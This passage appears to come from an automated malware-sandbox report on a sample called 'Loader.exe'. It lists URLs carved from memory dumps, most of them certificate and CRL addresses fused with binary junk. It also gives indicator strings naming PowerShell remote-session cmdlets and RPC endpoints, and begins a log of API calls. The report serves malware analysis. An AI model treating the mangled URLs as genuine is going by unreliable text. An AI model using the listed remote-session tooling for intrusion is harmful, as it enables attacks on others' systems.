"00000000-00006460.00000000.174701.1BCA0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00006460.00000001.176621.1BCA0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00006460.00000002.178540.1BCA0000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%ld.htmlmpoav_forcedeepscan" - Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00008316.00000000.175421.3BBA0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00008316.00000000.175421.3BBA0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=225750" - Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=113316')]param(" - Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=160712" - Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00008316.00000000.175421.56000000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00008316.00000000.175421.56000000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eriss2.5.4.3i" - Source: "00000000-00008316.00000000.175421.56000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00008316.00000000.175421.56000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm/ecc" - Source: "00000000-00008316.00000000.175421.56000000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008316.00000000.175421.56000000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00008316.00000000.175421.56000000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00008316.00000000.175421.56000000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526919" - Source: "00000000-00008316.00000000.175421.56000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00008316.00000000.175421.56000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008316.00000000.175421.56000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008316.00000000.175421.56000000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00008316.00000000.175421.56000000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00008316.00000000.175421.56300000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008316.00000000.175421.56300000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008316.00000000.175421.56300000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00008316.00000000.175421.56300000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00008316.00000001.177341.3BBA0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00008316.00000001.177341.56000000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eriss2.5.4.3i" - Source: "00000000-00008316.00000001.177341.56000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00008316.00000001.177341.56000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm/ecc" - Source: "00000000-00008316.00000001.177341.56000000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnmicrosoft.management.infrastructure.userfilteredexceptionhandlingrefemit_inmemorymanifestmodulemscorlibsystem.diagnosticsdebuggableattributedebuggingmodes.ctorsystem.runtime.compilerservicesruntimecompatibilityattributesystemobjectuserfilteredexceptionhandlingexceptionactioninvokefunc" - Source: "00000000-00008316.00000001.177341.56000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00008316.00000001.177341.56000000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/micwinpca_2010-07-06.crl0wk0i0g;http://www.microsoft.com/pki/certs/micwinpca_2010-07-06.crt0g4zx" - Source: "00000000-00008316.00000001.177341.56000000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/micwinpca_2010-07-06.crl0wk0i0g;http://www.microsoft.com/pki/certs/micwinpca_2010-07-06.crt0jp4&%bvke" - Source: "00000000-00008316.00000001.177341.56000000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/micwinpca_2010-07-06.crl0wk0i0g;http://www.microsoft.com/pki/certs/micwinpca_2010-07-06.crt0jp4&gkvk" - Source: "00000000-00008316.00000001.177341.56000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.hwo0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00008316.00000001.177341.56300000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.142.94z0washington1redmond1microsoft" - Source: "00000000-00008316.00000001.177341.56300000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008316.00000001.177341.56300000.00000004.mdmp") Found URL "http://www.microsoft.com/pkikh0vk-0vkh0vk@i0vk" - Source: "00000000-00008316.00000001.177341.56300000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.hgo0m0k://crl.microsoft.com/pki/crl/products/microoceraut_2010-kn0l0j>http://www.microsoft.com/>ngdxfg:sxsu$wn?," - Source: "00000000-00008316.00000001.177341.56300000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreport__mi_operationoptions_improvedperf_streamingoftware\policies\microsoft\windows" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/productceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010->ngdxfg:smxsu$w.,k" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://www.microsoft.com0rcv" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0@mt-bivop?u3gx%nhlj(ofv!@dqzs>snhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/micwinpca_2010-07-06.crl0wk0i0g;http://www.microsoft.com/pki/certs/micwinpca_2010-07-06.crt0g4zx" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0\r]6x/6" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0/vmg'k5a" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0nf:8" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0sjv" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0au]8&l*" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0eptl(*vm:wf" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://www.microsoft.comqjtv" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://www.microsoft.comheapmicrosoft" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://www.microsoft.com1402http://www.microsoft.comhttp://www.microsoft.comhttp://www.microsoft.comheap1402http://www.microsoft.com1402http://www.microsoft.comheapx" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://i.pki.goog/r4.crt0+$0" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://c.pki.goog/r/r4.crl0@az&gvvkgvvkgvvkhvvkhhvvkhvvkhvvkhvvk0jvvk@jvvkivvkpjvvk" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://www.microsoft.com" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://www.microsoft.com20230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://i.pki.goog/gsr1.crt0-&0$0" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://c.pki.goog/r/gsr1.crl0h*,,yu5,1[?ep[?:pl)z," - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://c.pki.goog/r/r4.crl0@az&csccr4n6" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://o.pki.goog/s/we1/-ia0%http://i.pki.goog/we1.crt0paste.gg*.paste.gg0/0-0+%http://c.pki.goog/we1/o1fiiaeftlk.crl01c@w" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://c.pki.goog/r/gsr1.crl0h*,,yu5,1[?ep[?:" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]ahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00008316.00000002.179261.3BBA0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00008316.00000002.179261.56000000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eriss2.5.4.3i" - Source: "00000000-00008316.00000002.179261.56000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00008316.00000002.179261.56000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm/ecc" - Source: "00000000-00008316.00000002.179261.56000000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnmicrosoft.management.infrastructure.userfilteredexceptionhandlingrefemit_inmemorymanifestmodulemscorlibsystem.diagnosticsdebuggableattributedebuggingmodes.ctorsystem.runtime.compilerservicesruntimecompatibilityattributesystemobjectuserfilteredexceptionhandlingexceptionactioninvokefunc" - Source: "00000000-00008316.00000002.179261.56000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00008316.00000002.179261.56000000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/micwinpca_2010-07-06.crl0wk0i0g;http://www.microsoft.com/pki/certs/micwinpca_2010-07-06.crt0g4zx" - Source: "00000000-00008316.00000002.179261.56000000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/micwinpca_2010-07-06.crl0wk0i0g;http://www.microsoft.com/pki/certs/micwinpca_2010-07-06.crt0jp4&%bvke" - Source: "00000000-00008316.00000002.179261.56000000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/micwinpca_2010-07-06.crl0wk0i0g;http://www.microsoft.com/pki/certs/micwinpca_2010-07-06.crt0jp4&gkvk" - Source: "00000000-00008316.00000002.179261.56000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.hwo0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00008316.00000002.179261.56300000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.142.94z0washington1redmond1microsoft" - Source: "00000000-00008316.00000002.179261.56300000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008316.00000002.179261.56300000.00000004.mdmp") Found URL "http://www.microsoft.com/pkikh0vk-0vkh0vk@i0vk" - Source: "00000000-00008316.00000002.179261.56300000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.hgo0m0k://crl.microsoft.com/pki/crl/products/microoceraut_2010-kn0l0j>http://www.microsoft.com/>ngdxfg:sxsu$wn?," - Source: "00000000-00008316.00000002.179261.56300000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreport__mi_operationoptions_improvedperf_streamingoftware\policies\microsoft\windows" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/productceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010->ngdxfg:smxsu$w.,k" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://www.microsoft.com0rcv" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0@mt-bivop?u3gx%nhlj(ofv!@dqzs>snhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/micwinpca_2010-07-06.crl0wk0i0g;http://www.microsoft.com/pki/certs/micwinpca_2010-07-06.crt0g4zx" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0\r]6x/6" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0/vmg'k5a" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0nf:8" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0sjv" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0au]8&l*" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0eptl(*vm:wf" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://www.microsoft.comqjtv" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://www.microsoft.comheapmicrosoft" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://www.microsoft.com1402http://www.microsoft.comhttp://www.microsoft.comhttp://www.microsoft.comheap1402http://www.microsoft.com1402http://www.microsoft.comheapx" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://i.pki.goog/r4.crt0+$0" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://c.pki.goog/r/r4.crl0@az&gvvkgvvkgvvkhvvkhhvvkhvvkhvvkhvvk0jvvk@jvvkivvkpjvvk" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://www.microsoft.com" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://www.microsoft.com20230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://i.pki.goog/gsr1.crt0-&0$0" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://c.pki.goog/r/gsr1.crl0h*,,yu5,1[?ep[?:pl)z," - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://c.pki.goog/r/r4.crl0@az&csccr4n6" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://o.pki.goog/s/we1/-ia0%http://i.pki.goog/we1.crt0paste.gg*.paste.gg0/0-0+%http://c.pki.goog/we1/o1fiiaeftlk.crl01c@w" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://c.pki.goog/r/gsr1.crl0h*,,yu5,1[?ep[?:" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]ahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%lu&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&forceupdatefrommuhttpupdatealtlocationcloudbasedbehaviorblockingsignaturedisablenotificationdisablescheduledsignatureupdateonbatterysignaturecategoryidnissignatureslastupdatedsignatureupdatecatchupintervalenableemergencysigslastemergencysigchecknissignatureversiondeltaupdatefailure%mpconfig_productappdatapath%\definition" - Source: "00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportdisableblockatfirstseenlocalsettingoverridesubmitsamplesconsentheartbeatsamplingrateheartbeatdelayindaysbypassinternetcheckssloptionslastmapssuccesstimemapslatencyretrytimeoutthreatseveritydefaultactionlastmapsfailuretimetsstarttimetsstatetssourcetsexpirationtimedisableprivacymodetsdailyquotauilockdownallowuseruiaccessnotification_suppressadvertiselastscheduledsuppresswdonotificationsuppressrebootnotificationpauseupdateexpirationtimepauseupdatestarttimedisablelastaccesstimesuppressionlastheartbeatsystimeproxyforceignorecacheinternalforceuupdisableasyncscanonclosedisableinjectionenablertpasyncthrottlingasynconopenvolumesdlpshowdialogsrtpasyncthrottlepercentvaluedlpdisableprintfileheuristicenablebrowserpasteenforcementdisablecopyaccelerationforsessionzerodlpdisablebrowsercachedynamicinjectionthresholdforcopyaccelerationdisabletpexclusionsdlpbrowsercachecleanupintervaldynamicinjectiontimewindowforcopyaccelerationdlpbrowsercloudegressbypassdurationdlpbrowserstalecachecleanupintervalfilterexperimentmodepreventplatformupdatempconfig_productcodenamecopyacceleratorcancellablecopysupportmpconfig_productpathmpconfig_productuserappdatapathmpconfig_productappdatapath12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_appdataroot\msmplics.dllmpconfig_reportingguidorrupted_previous_tspreferenceconfigs.snptpconfigsnapshot.snptspolicyconfigs.snphklm\failed" - Source: "00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp")50:Tdef,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp")51:T68d,Found string "+ncalrpc:[OLEA397522C56D08E73C442622985C2]" (Indicator: "ncalrpc"; Source: "00000000-00004152.00000000.175960.8D2B0000.00000004.mdmp") Found string "+ncalrpc:[OLEE8435892343D9C1ABF374A2F9CC4]" (Indicator: "ncalrpc"; Source: "00000000-00006460.00000001.176621.01050000.00000004.mdmp, 00000000-00006460.00000002.178540.01050000.00000004.mdmp") Found string "+ncalrpc:[OLE66C6C64DE6A46C91AC05FCFEA6AC]" (Indicator: "ncalrpc"; Source: "00000000-00008316.00000000.175421.3BBA0000.00000004.mdmp, 00000000-00008316.00000001.177341.3BBA0000.00000004.mdmp, 00000000-00008316.00000002.179261.3BBA0000.00000004.mdmp") Found string "+ncalrpc:[OLE17201C7D9E13BFE95B28EFDE5D5B]" (Indicator: "ncalrpc"; Source: "00000000-00008316.00000001.177341.56000000.00000004.mdmp, 00000000-00008316.00000002.179261.56000000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00008316.00000001.177341.56000000.00000004.mdmp, 00000000-00008316.00000002.179261.56000000.00000004.mdmp") Found string "+ncalrpc:[OLEF4493F46ED90F5FC15E0518FE1B2]" (Indicator: "ncalrpc"; Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp, 00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found string "B+ncalrpc:[OLE0F5DB8F4A05A32792FC1FB86634C]" (Indicator: "ncalrpc"; Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp, 00000000-00008316.00000002.179261.56400000.00000004.mdmp") Found string "+ncalrpc:[OLE0F5DB8F4A05A32792FC1FB86634C]" (Indicator: "ncalrpc"; Source: "00000000-00008316.00000001.177341.56400000.00000004.mdmp, 00000000-00008316.00000002.179261.56400000.00000004.mdmp")52:T816,"Loader.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006460) "Loader.exe" called 